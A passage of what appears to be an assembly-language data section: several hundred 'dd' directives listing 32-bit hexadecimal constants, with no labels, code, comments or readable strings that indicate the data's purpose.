		dd 90EB3C07h, 0B3B2703Eh, 0F7016583h, 0D196E3F5h, 50C039AAh
		dd 5DBD00EAh, 0AB564F4Eh, 7F0019DCh, 0E059687Bh, 4B644B98h
		dd 24C80499h, 609D208Ch, 0D7F71339h, 65B00076h,	0F23D0811h
		dd 9C26B60Fh, 0BD36E07Dh
		dd 8F97EFh, 3E053CFCh, 0E83AEA89h, 0C4AEE924h, 371ECA00h
		dd 0E4AC32h, 4E3EB787h,	955F7ABEh, 0DC8DE217h, 0F40A81ACh
		dd 9AC793h, 73589830h, 50E67A7Bh, 0B98A9C0Eh, 577E61ACh
		dd 91C0896Dh, 86E10055h, 0CF74ABC6h, 6307A25Ah,	90214B5Eh
		dd 8C0D2370h, 11EE4E8h,	6A47024Eh, 8086AF16h, 9FD7BCE9h
		dd 0C45F48h, 49548CB3h,	927D1C66h, 19B16100h, 0C7B7388Fh
		dd 0AB31034Fh, 3AE61103h, 47886E93h, 0BD00E93Fh, 0FBA872BFh
		dd 0B45F40h, 8EA24E86h,	58B74D68h, 0C103A400h, 0E1423C2Bh
		dd 0B29A00E5h, 0BE5DFF74h, 9800A8D0h, 241AC01Bh, 49844Eh
		dd 0FD1078E0h, 75E466C3h, 9760DC00h, 0FE396977h, 0C49B00F8h
		dd 0E64A9156h, 665C5925h, 9479003Dh, 1511881Fh,	0FA4B0075h
		dd 7F48F1AFh, 4C0322F5h, 0DA100B4Fh, 0FDBEB877h, 678300D0h
		dd 5D0A14F3h, 3E772792h, 1B06B300h, 0BFD1FF0Fh,	32113CD4h
		dd 8C2900F5h, 0A3CE1545h, 0B475CA57h, 0E80A3Bh,	0D7634E5h
		dd 0C31B597h, 49BFC4FCh, 81040FC8h, 941CEC63h, 73ED7280h
		dd 6A6F00ABh, 3E331D70h, 0D458B4D9h, 0CAAF2625h, 8B01FD1Fh
		dd 6FB62B4Ah, 0E335C8h,	0E1A3330Ah, 4C0F67A0h, 0C3937B00h
		dd 23CA8C95h, 0B96235C9h, 4E4E8088h, 0D17A1FAh,	0FA040289h
		dd 56C67949h, 0D1870C21h, 0BCB822FAh, 21366C07h, 5D4054C1h
		dd 0F81281EBh, 84721Eh,	0CFBD6058h, 4E67119Eh, 0C0758A00h
		dd 4FE40DE2h, 0E9FA0057h, 3E13AEE3h, 140B446Ah,	831DC3FBh
		dd 0FE365976h, 220A0070h, 8D85AD16h, 1300CFCCh,	11FED783h
		dd 0F407595h, 153D1EF8h, 649BBFC0h, 79284D92h, 3936589Ah
		dd 0E40D0A9h, 8CBDDA02h, 6873A000h, 0C0A859B0h,	0EF6013A8h
		dd 8B4A6F71h, 32D300B6h, 7347FC3Bh, 9948C0F8h, 0D75001B3h
		dd 0A9B921F6h, 3EDFF4h,	9D408E68h, 0EF5C1119h, 0FCBC9000h
		dd 0E0C33976h, 718407C5h, 6019F815h, 0A8F387B8h, 0C93FB900h
		dd 0B1D12F33h, 0F7210712h, 0A772610Bh, 63BA3226h, 0B3034DE0h
		dd 4957CF0Fh, 409FA095h, 8B1A2h, 0AC7AC0A9h, 1E785B3Ch
		dd 44E2B00h, 8A409C5Dh,	62220755h, 0C003A1EEh, 0D4740BC7h
		dd 2C0EE800h, 76F9AE1Ah, 0A84A39F4h, 643312h, 0A0C9F0F6h
		dd 310039B8h, 9B3A1A90h, 37D086h, 0CD841D0Bh, 15EAD6ABh
		dd 0E6856E00h, 3FB5100Ah, 0EF7D1F43h, 8E1F0002h, 1FDAD28h
		dd 0F0D47201h, 0EB129596h, 6D8FAC40h, 0F22200C9h, 0C7A132EFh
		dd 3E00550Eh, 9303D8ADh, 283A0145h, 2C419A9h, 0D0520DBh
		dd 20961130h, 0B5E23h, 2DA840F5h, 0FB49DD5Ah, 0F73E50h
		dd 2CC12005h, 6586E935h, 1420819h, 7BC6E8F4h, 34922004h
		dd 0F4CF7F00h, 89A596EFh, 0EC322471h, 780B908h,	4905E0Ch
		dd 0F50451DAh, 1440E33h, 0EF1A1480h, 56591906h,	0D8CE3129h
		dd 0EE603578h, 7FC18811h, 72F201E2h, 0BB95D6B4h, 561FD0BAh
		dd 995520C0h, 7FAF4F7Fh, 9558DE75h, 560C84A6h, 0C849ED53h
		dd 0DAD45914h, 74FE07C0h, 7DC0B41Dh, 42DAA6Dh, 0AB54E9ADh
		dd 217C90D3h, 52499185h, 13E00CECh, 71C1815h, 7789D930h
		dd 4620207Ah, 3B017986h, 6C7D74D0h, 9982AEDAh, 0D42DA9E8h
		dd 46DA8B0h, 0FCC12611h, 0B88A4088h, 71009275h,	3B5B74BFh
		dd 0C89F00FDh, 7A89CA33h, 3706486Eh, 0C4E0A7E8h, 2DEA00A9h
		dd 2C92753Bh, 87662B9Bh, 0B12209h, 0D43D05CAh, 90554E98h
		dd 34A7180Fh, 0C442B209h, 9016E86Ch, 83B2228h, 9A749272h
		dd 0C7411F64h, 20C2385Ah, 1C023BD1h, 0B7DF14Bh,	0A86840CFh
		dd 249864h, 9644E083h, 84D0619Eh, 7C882B52h, 469028Ch
		dd 195CC12Ah, 0FC104519h, 6D05058Eh, 0DDE663FBh, 0A802AC20h
		dd 0F7C109BEh, 180210B2h, 0A718368Eh, 4283008Dh, 197DB2C0h
		dd 65E8B727h, 24CB43Dh,	0AA8C3BD0h, 0EB2FCCEh, 83A064C5h
		dd 0E8EDE577h, 84859400h, 0C7725B87h, 359C00CFh, 0A5AC2579h
		dd 910039F6h, 85B56CC8h, 499336h, 21525F09h, 0C74806F2h
		dd 75006AF6h, 4E3CAB23h, 0B495C0h, 8A5482ACh, 6831A4CFh
		dd 3634C81Dh, 6214C18h,	3054034Ah, 926D5EF0h, 2207D9C0h
		dd 0A85BDA03h, 0D8EDF50Ch, 93C00Dh, 6801D837h, 7E38D945h
		dd 39800E1Dh, 0D0388311h, 0CB570187h, 603B00C8h, 0B1107354h
		dd 97000628h, 0CCC78AC6h, 0E403EF33h, 17DB1891h, 740739Ah
		dd 5CCBA6C8h, 30C17626h, 870EED3Eh, 0A10F86A3h,	9F813E91h
		dd 21A4A5F5h, 64C000CAh, 3F9B0BBBh, 18D83530h, 0FC110Dh
		dd 62D27B1Bh, 0B6C128ABh, 0E69C5A00h, 0AE380898h, 89730691h
		dd 0C190B155h, 78A57174h, 4B609D44h, 0B40048A5h, 0F7E0C7E4h
		dd 34CDBC8h, 0AADF3DADh, 9F9DA58h, 0D790F424h, 97817C10h
		dd 1D9B300h, 0A0A40A08h, 0D414C50Eh, 8E9C86A1h,	0E0417720h
		dd 5E5A01D8h, 26FF033Eh, 11A450DCh, 0BB003DF3h,	0CAC741DBh
		dd 37F234h, 32C919E0h, 0F8728975h, 62649015h, 1FC0138h
		dd 0A19C0A0Fh, 8F40A90Ch, 2F0B84Eh, 48C69530h, 1DC0378Ch
		dd 0FF00E758h, 1246DEFEh, 1576C4C1h, 0B4D33597h, 3CE65A03h
		dd 6DB0FC99h, 0B500CDA8h, 6B57CAEFh, 0D432B8h, 5878D569h
		dd 0EA5E8496h, 87D1D300h, 3E6EF639h, 29A73E1Eh,	433A4A1Dh
		dd 8D4C5BDFh, 90F9900Ah, 0D7C0989Dh, 520AF201h,	8F2A60D4h
		dd 0DE530298h, 62ED1E03h, 1B15D0A0h, 9700386Ah,	579F10C4h
		dd 7D343FBEh, 8B7D00A3h, 99BF37F5h, 4B00D822h, 59684177h
		dd 7C7648ABh, 8F580CCAh, 4080926Ch, 0F9114415h,	0CBAF09C0h
		dd 0F154315Dh, 0E7F5CEF5h, 31C71918h, 0DC50F5D4h, 0DA47FEh
		dd 150968D2h, 565A54D5h, 0C9EDE60Ch, 46DE994h, 0EBB27FB8h
		dd 0FA4C8C27h, 363028Ch, 3FB1454Fh, 0CD106B19h,	86000364h
		dd 0ED38786Dh, 64CB9A28h, 624FB976h, 0EAA96383h, 0DF5C91F7h
		dd 40088211h, 0C50F06C5h, 6310A100h, 0F39FC2E2h, 716563EAh
		dd 8EA1C79Ah, 6C482084h, 39773B00h, 0A907F436h,	0E3B81F2Eh
		dd 0FB6E6Eh, 0DF1D185Ch, 8E535044h, 8FA8E1F4h, 261CA30Ch
		dd 604372D8h, 0DF1DF1DFh, 0B8104293h, 0C0C70BCCh, 75FE0DF0h
		dd 0C54135A0h, 6820E0h,	6D43D857h, 4544C132h, 48303374h
		dd 52852089h, 6021FB57h, 0C424EDCh, 99C5BFEDh, 0B08CDBA8h
		dd 0A0C0998h, 0E016A144h, 3A44D03h, 0F0DAED3Ah,	54256C87h
		dd 0B7BCC2h, 0EA727635h, 68B9E812h, 1B0060B8h, 95379142h
		dd 0CCA68Ah, 4AC9EB8Bh,	66C4B0F6h, 1E1DB301h, 17322F4Ch
		dd 0F30A020h, 0B1F2CB42h, 1C2A82C0h, 0E500B489h, 0BE10379Dh
		dd 78761FFh, 0A4110FF5h, 0C98DF0BCh, 0E3004D5Ah, 6EC1DCDh
		dd 0FE5F712Ch, 46E200D5h, 9683D77Eh, 22005CA0h,	1F876E32h
		dd 5ED085h, 0BF6950DAh,	6C8A3DD4h, 5663BF98h, 0DBE9FE80h
		dd 0D8D3D8E2h, 0A3670683h, 4033825Ch, 800FEB3Ah, 147D5A5Dh
		dd 28ECE8h, 9CDC3C48h, 0F27BCCA3h, 35514300h, 0FE5E1A24h
		dd 0F6E10008h, 91144D8Ch, 0EE16C3C9h, 0A60084B4h, 887A0D31h
		dd 879E03F7h, 0FA72169Fh, 9D534038h, 99007378h,	25B3D8B7h
		dd 0F9EA9Ch, 36C875DCh,	606B0730h, 5205B00h, 0CB531838h
		dd 61BC00EAh, 39EFBF6Eh, 0F40009C6h, 0A633475Dh, 0D1F0C8h
		dd 581C0D2Fh, 684F13B0h, 74807B60h, 4D78B8h, 1AB7C702h
		dd 3EB03B7Fh, 739FD83Ah, 26522A14h, 0A3A6009Dh,	96A852Eh
		dd 635D00E8h, 1B3EF772h, 300715B3h, 0C92397F5h,	0E04C9935h
		dd 13240AAh, 5D5CBAADh
		dd 0E1B694AEh, 0AC3C8654h, 6040F611h, 0CFF3DC99h, 2474DB93h
		dd 67008BB0h, 668AD8B6h, 453395h, 0D7C80890h, 40D5B0E9h
		dd 0D341C1C0h, 166779Eh, 80555914h, 0ECC37DEFh,	0D709059Bh
		dd 216F1ADDh, 0BDD5F120h, 12C2EC4h, 0AA097607h,	0C6C8EC61h
		dd 196C4040h, 6A4A2B02h, 0A7DB05F8h, 8EA08C80h,	0D10CFEh
		dd 3CD0F4B4h, 0A545F91h, 80A64B3Ch, 0CFEBA776h,	7E9DF8h
		dd 709E8E21h, 0DD82B6FBh, 8123B03Bh, 7D5BC265h,	0E2E0ACECh
		dd 12E868h, 9F85A801h, 9CD0CC7Fh, 3F99B300h, 45FA9DB5h
		dd 0AD1A00CBh, 3D22EBB0h, 0F0005BC1h, 2DB67F57h, 3D3B185Fh
		dd 2787F398h, 0A0B4815Ch, 6C09A730h, 0C0521700h, 0C54B6A13h
		dd 12FC00D8h, 0C7655A8Ah, 0B107FF0Eh, 3AD70FA6h, 67B58840h
		dd 787C3E72h, 0CC5C929Fh, 62086A08h, 3E20A160h,	39277E5Ah
		dd 8C016B6Dh, 0D6123AA5h, 42418014h, 462B9174h,	0BF4000D8h
		dd 0A7896BF0h, 0DF0026E6h, 0ED574904h, 18FE287Bh, 397ED6C8h
		dd 6C00FB07h, 367C2AF1h, 3C54262Eh, 6F83624Eh, 0A03F95BCh
		dd 0F5E0BF8Bh, 0C3003671h, 7D0D39EAh, 66CA6h, 7FF356D7h
		dd 0B53E136Eh, 0BDF9871Fh, 76995CC0h, 3CE5E324h, 13800CDDh
		dd 264E61CEh, 8A606DB8h, 9BABB520h, 20455358h, 60D280C4h
		dd 3740875Fh, 60C0A49Eh, 4F7401C6h, 0C34F801h, 0DFB213Bh
		dd 218095D1h, 90755A61h, 2D78978Bh, 0FF2FF9C0h,	0E2C211D8h
		dd 6CA501F5h, 0CF2E7662h, 7D3AE0FEh, 4B069E78h,	0B6DF5B26h
		dd 45150039h, 0FE3667E6h, 301D3CCAh, 3D0CC5F6h,	0F22082h
		dd 0F41AE64Eh, 72EDD3D9h, 594DBB14h, 54821498h,	912100A4h
		dd 0EF61A69Eh, 1523B02Fh, 881715BDh, 5078696Ch,	4807E043h
		dd 0F8361EE6h, 2102C6h,	60E64DFFh, 0F42DD6ECh, 9807BA14h
		dd 520678DCh, 908B9C87h, 0A6B80910h, 3C18C858h,	47107C69h
		dd 0D0E76AFFh, 0E81C7E51h, 9B638E26h, 5F146902h, 53818024h
		dd 1488ED91h, 309BCFBCh, 5B18873Ch, 0E79110A5h,	4AA1D307h
		dd 4ED583BDh, 1F80E81Fh, 0EC8672F9h, 9AF40011h,	0DD2D46B3h
		dd 8A3CD35Bh, 0B68F80AAh, 0F4DB693Ah, 5CAF003Dh, 5B174115h
		dd 850FAEA0h, 0A616B2h,	11D4B393h, 3F3E728Dh, 0A818F745h
		dd 0B60482C6h, 466F5100h, 19F04DCFh, 8320002Ah,	0B7D4AAEDh
		dd 6006259h, 0CEA7855Ah, 94E0DEh, 0EACC6DA9h, 0DDEFBDE5h
		dd 390CBC00h, 3F03637h,	661D03ADh, 0E1493A41h, 3C5375D8h
		dd 5F476100h, 0FB10C4C9h, 0B76A00C5h, 2C24730Ah, 8B0CC27Dh
		dd 118FC77Ah, 42754C6h,	0A9573FE1h, 0DEB842h, 0AA20375Bh
		dd 119FE587h, 9915Ch, 0D8E09738h, 5BDBC1h, 0BA59DE56h
		dd 0F87AC52h, 67299A64h, 11D6B221h, 0A911BBE5h,	11231291h
		dd 128428Ah, 63AE1481h,	310F0110h, 0F4DAE0CCh, 0F0780146h
		dd 4C45D2B1h, 0AA516019h, 3294ED00h, 5A9D4BBEh,	0AB1600E8h
		dd 0AFB0D379h, 6877884Ch, 7A82ED07h, 0C2200863h, 337F0Ah
		dd 0DCE75E0Bh, 0C696664Eh, 2F6ED800h, 71849506h, 612600C8h
		dd 9DAC1723h, 8C0092FDh, 0F2B50CABh, 6BCD15h, 0D7149857h
		dd 707579ADh, 0E8308B03h, 0E81AC4DCh, 0E0B3D0h,	0B6631B7Ch
		dd 0E72F71C9h, 2E6F5A7Fh, 0A2A9E029h, 0F0E3A0Dh, 0EFB8537Bh
		dd 7307C454h, 2012714Ah, 0F9DC48F3h, 6416D3Fh, 0DA78BE70h
		dd 4C1B0010h, 5E924AFEh, 5F14ED2Ah, 0EE08C77h, 459B8AB1h
		dd 82C0FDBDh, 7AF73Ch, 91B2ADEDh, 0CFA6B379h, 0F0452900h
		dd 3D6DCB84h, 0E775040Fh, 832EB8AEh, 0E91D3986h, 7802D0Eh
		dd 317F7413h, 1AEB0070h, 9134A5C8h, 0A6003F6Fh,	9E37662Eh
		dd 4056ECEh, 3369D7C6h,	909AC098h, 0A8007BC9h, 3012BB81h
		dd 0F2A94B35h, 0C02050C2h, 68DA3BB8h, 0C74A5B00h, 0B2586797h
		dd 0A41BE500h, 2442A62Eh, 0DD960052h, 259E3DB8h, 790786C1h
		dd 50337813h, 40BFE3D2h, 1CDED95Ch, 6CA129F6h, 0AFD0064h
		dd 1D9BE4C9h, 6DE30407h, 0D8A08CFAh, 0EC295BE6h, 7C5C0021h
		dd 9CA898F8h, 13006AB5h, 0BAF39338h, 481BE3AFh,	0FE001018h
		dd 0DDC74615h, 0F800286Dh, 0AD4731A3h, 0EA12A9h, 16D4E109h
		dd 3421C255h, 0D7A2C505h, 0A00EB4D3h, 2FF16022h, 2BE7771Bh
		dd 59EC4C85h, 27088Ch, 304F583Ch, 530745E4h, 38DED5Ch
		dd 0ABE344F4h, 50CC80B0h, 5E340122h, 8FAFE27h, 25F840B5h
		dd 0C006920h, 0EB16116Ah, 31FFDCh, 605B1FECh, 7BABD7DFh
		dd 2D305C76h, 0BEF6EA9Ah, 18DA6068h, 10E87C61h,	0C748500Fh
		dd 77B5C115h, 11DC90DCh, 0AC370049h, 0F4FF35EAh, 5D00BCA9h
		dd 0E7D803E5h, 81DFA5h,	0C8016838h, 8FAA7817h, 6679B400h
		dd 0CA76D72Ch, 382200FFh, 3A4D9ED5h, 9300E937h,	0B1511FEBh
		dd 4457Fh, 972B99D4h, 7780A428h, 92BA6E00h, 0B76996FDh
		dd 0E41148CFh, 0C6D971Dh, 83AAE482h, 2EB9DA12h,	0C73AE304h
		dd 1C3DF081h, 55C4BCCDh, 5975D2h, 0FB301D90h, 0B2E2ADB7h
		dd 0FEF9D00h, 0D403973Ah, 0DFF0A51h, 84E88B23h,	80D8E94Ah
		dd 0EEE22CE2h, 5226DF0Fh, 0A87CC0CCh, 3C54407Bh, 8F805623h
		dd 7F8C86A5h, 0D300287Ah, 6CA2DF04h, 71935Ah, 0B549B6DDh
		dd 0DAAE3963h, 9D513F07h, 0D865608Ah, 0CDE9E100h, 17AF9Ch
		dd 5D039B9Eh, 5C7EB2Dh,	84217000h, 850B5B89h, 87605022h
		dd 0BBC40EDDh, 0CFC0AD16h, 35C5674Ch, 94536B00h, 5F79B0B4h
		dd 9DAB0704h, 0A0189828h, 0D1F299F0h, 3AD41200h, 6505EFF9h
		dd 2F2E04ACh, 0C8A5FBE9h, 7607E264h, 5A31791Eh,	0D112940h
		dd 0E7ED005Bh, 10448455h, 2C0E6EFAh, 4005A70Bh,	57B1E3C7h
		dd 93360064h, 0F484007h, 3F00D639h, 4145A827h, 25C622h
		dd 0E99895C0h, 8E2C8B71h, 2EBE4200h, 35C20D8h, 1CA00063h
		dd 133FC686h, 0E61E5AF5h, 4B035D46h, 0D826D66Ch, 994A109h
		dd 9020AECCh, 0F81C9400h, 0AB026C27h, 0A217B5F2h, 1DB86007h
		dd 210C1CCFh, 40514455h, 0BF2C0B3h, 30005995h, 830224B6h
		dd 0ECD829h, 0D7FA8588h, 336B015Ch, 0F4FE3727h,	0B53400A2h
		dd 4D435BDAh, 0B88E9F00h, 74DFB2B7h, 0AA052CE1h, 0FC6000FCh
		dd 0D581536Ah, 1189F000h, 0C6469042h, 6E800E7Ch, 0AD80F4FEh
		dd 6421BA84h, 1B00D9E6h, 4F81C2C1h, 169E075Dh, 40DD36D3h
		dd 0CD60FB08h, 0B0009DFFh, 0D0CA4338h, 2C512E83h, 74DC1Fh
		dd 919BFB41h, 749A61D4h, 7A46B600h, 54236AA6h, 8B7E07F4h
		dd 0C51D5Dh, 0AC368921h, 70447B1Eh, 0A4A024CEh,	0F0C030CFh
		dd 1EF5A7h, 67CAEDEh, 89787EEAh, 44BBA426h, 2B4D0A80h
		dd 9C3BDAh, 986C1921h, 0DE09B3E3h, 82AEF00h, 0ED6DF0F5h
		dd 0FF47003Ah, 6389D195h, 0C40366CFh, 930E972Ch, 0E87F8220h
		dd 346433Ch, 0C7F9BD26h, 7E9809BFh, 3C00C50Fh, 0D0DA22E3h
		dd 0BA3E94h, 0D968F9FEh, 0A5EB7282h, 1D3A7300h,	2AAE9C6Bh
		dd 8821006Fh, 4855F471h, 6D4C162Dh, 796700DEh, 49896642h
		dd 6BEE00D5h, 572AF1DEh, 8C13028Fh, 88007916h, 0D9622070h
		dd 80982Bh, 0C6AA11F1h,	4F2409E4h, 6C15AB00h, 6AC7794Ch
		dd 7A5B0054h, 0D35AD197h, 0B34C96C6h, 0E8160B95h, 0EA4A1BAh
		dd 8007EC2Eh, 137B305Ch, 0B2A0900Eh, 0E50C299h,	69BCB02Bh
		dd 259600FEh, 553F52D9h, 5F18B71Ch, 0E821E102h,	60EF00B6h
		dd 1F40ADE0h, 6E008192h, 744DCF35h, 0F6EA47h, 0D92D5F22h
		dd 0C8F1E4A7h, 8223FD01h, 0B84C6BB4h, 75A59880h, 450C0492h
		dd 0EEEF4Ch, 0C0F2563Ch
		dd 911A18Bh, 0B9A9611Ah, 3770300h, 0F3B0D7BFh, 0B400477Ah
		dd 3E1C21C6h, 0F6F9CF15h, 0EC4C16EDh, 92940219h, 0E0A0A32Dh
		dd 6A688DBDh, 90555A00h, 0A6466BABh, 21EE28D3h,	0BBC21C88h
		dd 0AC4D3FE2h, 0DC05D500h, 13229948h, 52BDA901h, 0D09C6C09h
		dd 21D8C0h, 24658061h, 8431EC83h, 8CD3D606h, 0E50CFE0h
		dd 2964F7E1h, 53487440h, 8A0052C8h, 0F24CBC1Bh,	0F850E3h
		dd 25DCB659h, 28AFB41Fh, 9315F000h, 924BEEFAh, 0F19B0020h
		dd 0A5AC57E8h, 0C900654Ch, 0AB8EE35Eh, 7B2A4582h, 0CABE0022h
		dd 0DBDDFFBCh, 611E8C78h, 84998E04h, 5DFCC5B4h,	31670F2h
		dd 0B58CD2A0h, 0A03EA410h, 813CBC04h, 0A9D4B62Dh, 3DE87446h
		dd 0CDE204B8h, 0C00AAE58h, 503A71A4h, 0B2112600h, 425DF724h
		dd 6C350562h, 80C17CE7h, 8EBB5383h, 0B3D5C8EBh,	0B171B501h
		dd 0D4448307h, 9918C3F4h, 88BC8454h, 0D1708065h, 8C00916Bh
		dd 0E532070Eh, 25CAEE3h, 6CD34A4Dh, 7C4353C7h, 0EC60E0E2h
		dd 21004385h, 81D123F5h, 79B8DCEAh, 0D01F0046h,	0F0659019h
		dd 0A20EFEFAh, 403BBBEEh, 9EDA9A48h, 8048DD52h,	93ACCF72h
		dd 0CA00214Bh, 25FA2EA6h, 9FB616h, 0B860047Dh, 0AE721984h
		dd 3E241F00h, 972DF8E4h, 52A301CDh, 0AF1D0158h,	0D007F561h
		dd 260043B9h, 21822002h, 7034F32h, 39FBEFB5h, 7751D052h
		dd 980F19AEh, 0C07E8EBFh, 562967EAh, 0D6711Eh, 0B92B3A1h
		dd 7259DA19h, 0DBED3F0Eh, 0EFBE0D8h, 5C1B45h, 0E0E88F2Bh
		dd 21EC81B8h, 0EF929C00h, 0A4F8C90Ah, 26E43Bh, 0A39B127Eh
		dd 69B8B286h, 0A7D9201h, 0C8CE47DFh, 0EBA9EF0h,	456BDBE0h
		dd 8538A541h, 1D208050h, 0BCD08F5Ah, 0EDE20C04h, 0AA186BC5h
		dd 2F963Dh, 48DE49DCh, 3584B0h,	7767F5F7h, 95301C46h, 0CDA1100h
		dd 0AEB6109Eh, 0B70800E8h, 7D83D798h, 5C1886FAh, 4F306615h
		dd 0D8D20016h, 0D9CF981Dh, 449A5B92h, 0BD02BCECh, 0F0248257h
		dd 8A8CC03Ch, 83850CB9h, 14103FA3h, 20184E2Ch, 5503A100h
		dd 9F37F4h, 747C0B9Eh, 0D1BF221h, 977BDA02h, 40ACABAEh
		dd 0BA5D1170h, 38EE3B48h, 4903BD80h, 554E2032h,	0AA0E7C03h
		dd 0B037DBCAh, 0E2446DF8h, 1C8710Ch, 7225AB79h,	20F6BBE8h
		dd 0AF0B9E14h, 0F44429h, 69404351h, 167EEFh, 0D48DB5F6h
		dd 0A93527CFh, 7FB2EA1Ch, 566A2440h, 1665CC44h,	2A928Eh
		dd 611966FEh, 8718AA50h, 36292113h, 203C005Ch, 0B4A425E2h
		dd 0F9398DE7h, 0AB331D69h, 0D38BDDC7h, 32C4F5A0h, 0BCB200A4h
		dd 522899DEh, 6EECB318h, 0EE5A9601h, 4E6DB7D2h,	6007F4h
		dd 3DA59D1Dh, 0B1CE157Eh, 994D9E00h, 0BF85B8A9h, 88CC0991h
		dd 2880395Fh, 9AF61AA6h, 36000172h, 0A16A1EEBh,	70BC8Ch
		dd 0D358914Ch, 0A563901Fh, 0BF3F6707h, 0F853DE54h, 91DFF0C6h
		dd 0B3470071h, 61DDAA74h, 0C972D6F3h, 7FC6BC00h, 0C80D539Dh
		dd 0ECBF74CEh, 58400E22h, 0D9809BA8h, 6A1FEA33h, 0E61AA703h
		dd 0EF7057h, 37767910h,	0B2D0C6D6h, 803DE53Eh, 0CC18E117h
		dd 81C784h, 4BFE2AACh, 0EBFAA424h, 0C1B58200h, 0A2057865h
		dd 1C6012AFh, 506E182Dh, 0A671C4D9h, 0C5E33F00h, 0DD089CE7h
		dd 7AA20233h, 4F4D5426h, 0BD933143h, 6C4732D8h,	2C686900h
		dd 9197905Ah, 0AA6100B4h, 0E9A9D34Bh, 0A6E0DE9Ch, 102C5100h
		dd 4C833D6Eh, 9D7C04h, 96C4541h, 80033834h, 1DDA0C00h
		dd 199683FBh, 98545352h, 7156737Dh, 0F7D40038h,	0C3C86102h
		dd 3F03BEA8h, 0F3035BEAh, 0CC58D0FCh, 20B76F9Ah, 50230100h
		dd 600A49Ch, 9D10750Ch,	0DF4B07h, 5DA7EE42h, 842E2C12h
		dd 6BFC3917h, 0ED56F800h, 0C0BFA457h, 11CC6CE0h, 0E300EBC9h
		dd 0CF9CE8AFh, 7618A255h, 4B250159h, 0B2338C37h, 1906F44Fh
		dd 0DB42A60Eh, 0A814F8h, 73805C3Eh, 6FE94Bh, 6BFDC5C2h
		dd 5641A792h, 0FAEF9F0Fh, 627AC131h, 24C8B6F8h,	0C2648E7h
		dd 1DEA0E77h, 75404ACEh, 1C42207Ah, 54906890h, 2434700h
		dd 95DFAABCh, 31230E93h, 50C222BEh, 0F1E2D8B4h,	4202F8C0h
		dd 9A4E1100h, 113BA88h,	72E10025h, 50C154DBh, 4176CC93h
		dd 868E848h, 0E26809h, 2B365B0h, 0A0A0ED3Ah, 0D70013A9h
		dd 187DEBABh, 288DCC0Fh, 0A9C47E4h, 79254957h, 0BD2400B0h
		dd 9F0C20E9h, 412F2D00h, 0FEB83FE0h, 32890C6h, 0BB42E2B0h
		dd 1001C838h, 37B3FD22h, 7F304ED0h, 975A24DFh, 0FC990000h
		dd 18BEE72h, 0E53ADB1Fh, 0A6989400h, 7257400Fh,	0C8170042h
		dd 95EE4C86h, 79188021h, 4688781Bh, 6CAD0097h, 559C0A6h
		dd 5B019A84h, 73D0D1E7h, 824F879h, 57AD0717h, 80A62DFFh
		dd 51A447E9h, 7C298E12h, 0F59E01FAh, 0E89B1FD0h, 680053B6h
		dd 1B40D621h, 2DC9D725h, 3BFE85A7h, 6EC10A00h, 0EE950Ch
		dd 0FD13059Ch, 0F0A038E2h, 0C58FF100h, 32A3C262h, 25580566h
		dd 0C0ADA6A2h, 0E51471B7h, 653D214h, 39E10FF0h,	0C07C6E6Eh
		dd 2CA08D62h, 8AD500C1h, 5E01AA72h, 491C1059h, 12033E46h
		dd 0D0223978h, 98A91A64h, 23A03809h, 928C6A81h,	0E401E12Bh
		dd 9C00E539h, 0D157C813h, 0B77FD43h, 94BCD8CDh,	59630B80h
		dd 0C0006C01h, 8EFEBBDh, 484748B0h, 9000C48Ch, 7C4A5F57h
		dd 0D000999Ah, 0F7C81EFEh, 9533583Fh, 7325B6C0h, 2F4B7800h
		dd 0FCF687EBh, 0E5470021h, 1CC9D42Ch, 0A6001E28h, 79A3266Ch
		dd 216BB0h, 19507574h, 11F61709h, 532D7F02h, 8173BAC0h
		dd 99C45FE9h, 3EF2A02Bh, 0A27D46EEh, 0B56CD900h, 3C50A082h
		dd 210B00EEh, 25975B7Ch, 0FE00C90Ch, 19E3779h, 586EF76h
		dd 53D1CD66h, 49B04016h, 46700C72h, 9F6DAE03h, 0E0AC74DEh
		dd 0B68A91h, 4C526B11h,	0D5667143h, 0AA7646E4h,	62D0AB00h
		dd 87A79A7Eh, 0EE7B0B9h, 0E6BB4A37h, 0D6177BE1h, 0E60B94Dh
		dd 0DAE35F82h, 0E9FD6070h, 75CA029Ah, 7BD24FC2h, 6097D8C3h
		dd 3B1C272Ah, 38C04D73h, 0EEE9B52h, 0E2BDF6CFh,	0E608C0B8h
		dd 0AC0C409h, 292A4100h, 0CF9B61D8h, 0B5DF0096h, 8817C5AFh
		dd 0D076B6E7h, 5E476400h, 0E8EA4F87h, 271A072Bh, 4322962Eh
		dd 6940D4D1h, 5528F240h, 0C27DF411h, 0E35CD300h, 813B1E1Bh
		dd 190D3099h, 0A895CD31h, 5D174A00h, 9AC9032Bh,	9B0900D8h
		dd 1B4C7FD7h, 0F2071A22h, 3B966D3Dh, 72A5A4C0h,	38D303C7h
		dd 28410EA6h, 91A005B8h, 803F3Fh, 0B0D1E873h, 0A171B9h
		dd 104336ABh, 76C46B89h, 0C91C1400h, 0A991EDCEh, 951700DDh
		dd 3319AD5Dh, 0F13EB694h, 72DF130Ch, 9F006F1Dh,	39997371h
		dd 192D3D51h, 80408C9Fh, 8B5FE79Bh, 1C3BC3A1h, 41F40093h
		dd 187E722Dh, 77800465h, 0C4CECF81h, 9B6F803Ch,	0D007D86h
		dd 0B3B205F8h, 56D0BBh,	1851C01Fh, 8B08F230h, 6E8F35Bh
		dd 693DEF00h, 471CE31Dh, 32368609h, 14042F41h, 9EA300DCh
		dd 0AB2CF980h, 21F00006h, 0EA29E4B1h, 1602FA47h, 3754C566h
		dd 133660B8h, 4F2B070Fh, 0FAD3278Dh, 0BF380C0h,	0A1C7D1E3h
		dd 47A93D00h, 0EC0E95DEh, 0CA020FCFh, 0B98F14FAh, 73267Dh
		dd 3E910BCEh, 3A791568h, 11115630h, 0F09F2C87h,	0D893027Fh
		dd 2E929816h, 69DA1CE8h, 0F909C0B2h, 61E567h, 0A86446A0h
		dd 0D3DF1D40h, 6FD7401Ch, 0DE752AF8h, 9D14F73Fh, 0A0EAD0E6h
		dd 737F5D03h, 88BB498Ch, 132377Ah, 1BE1225Eh, 0C8246C67h
		dd 5B3B397Bh, 230A003Fh, 107FD861h, 8A650079h, 0C0471691h
		dd 720C3781h
		dd 115E78EDh, 8CEB00B4h, 601C6DA8h, 400B335h, 3BC696D3h
		dd 1D5BD54Ah, 80CBC037h, 0E19D47ADh, 89072FB3h,	0C5999E5Eh
		dd 0C0DF8300h, 6951DCBCh, 94900304h, 0E9E0BDDDh, 9600AB8Eh
		dd 1E3EFC84h, 85474Fh, 0E638C243h, 0B80BD990h, 0B6668214h
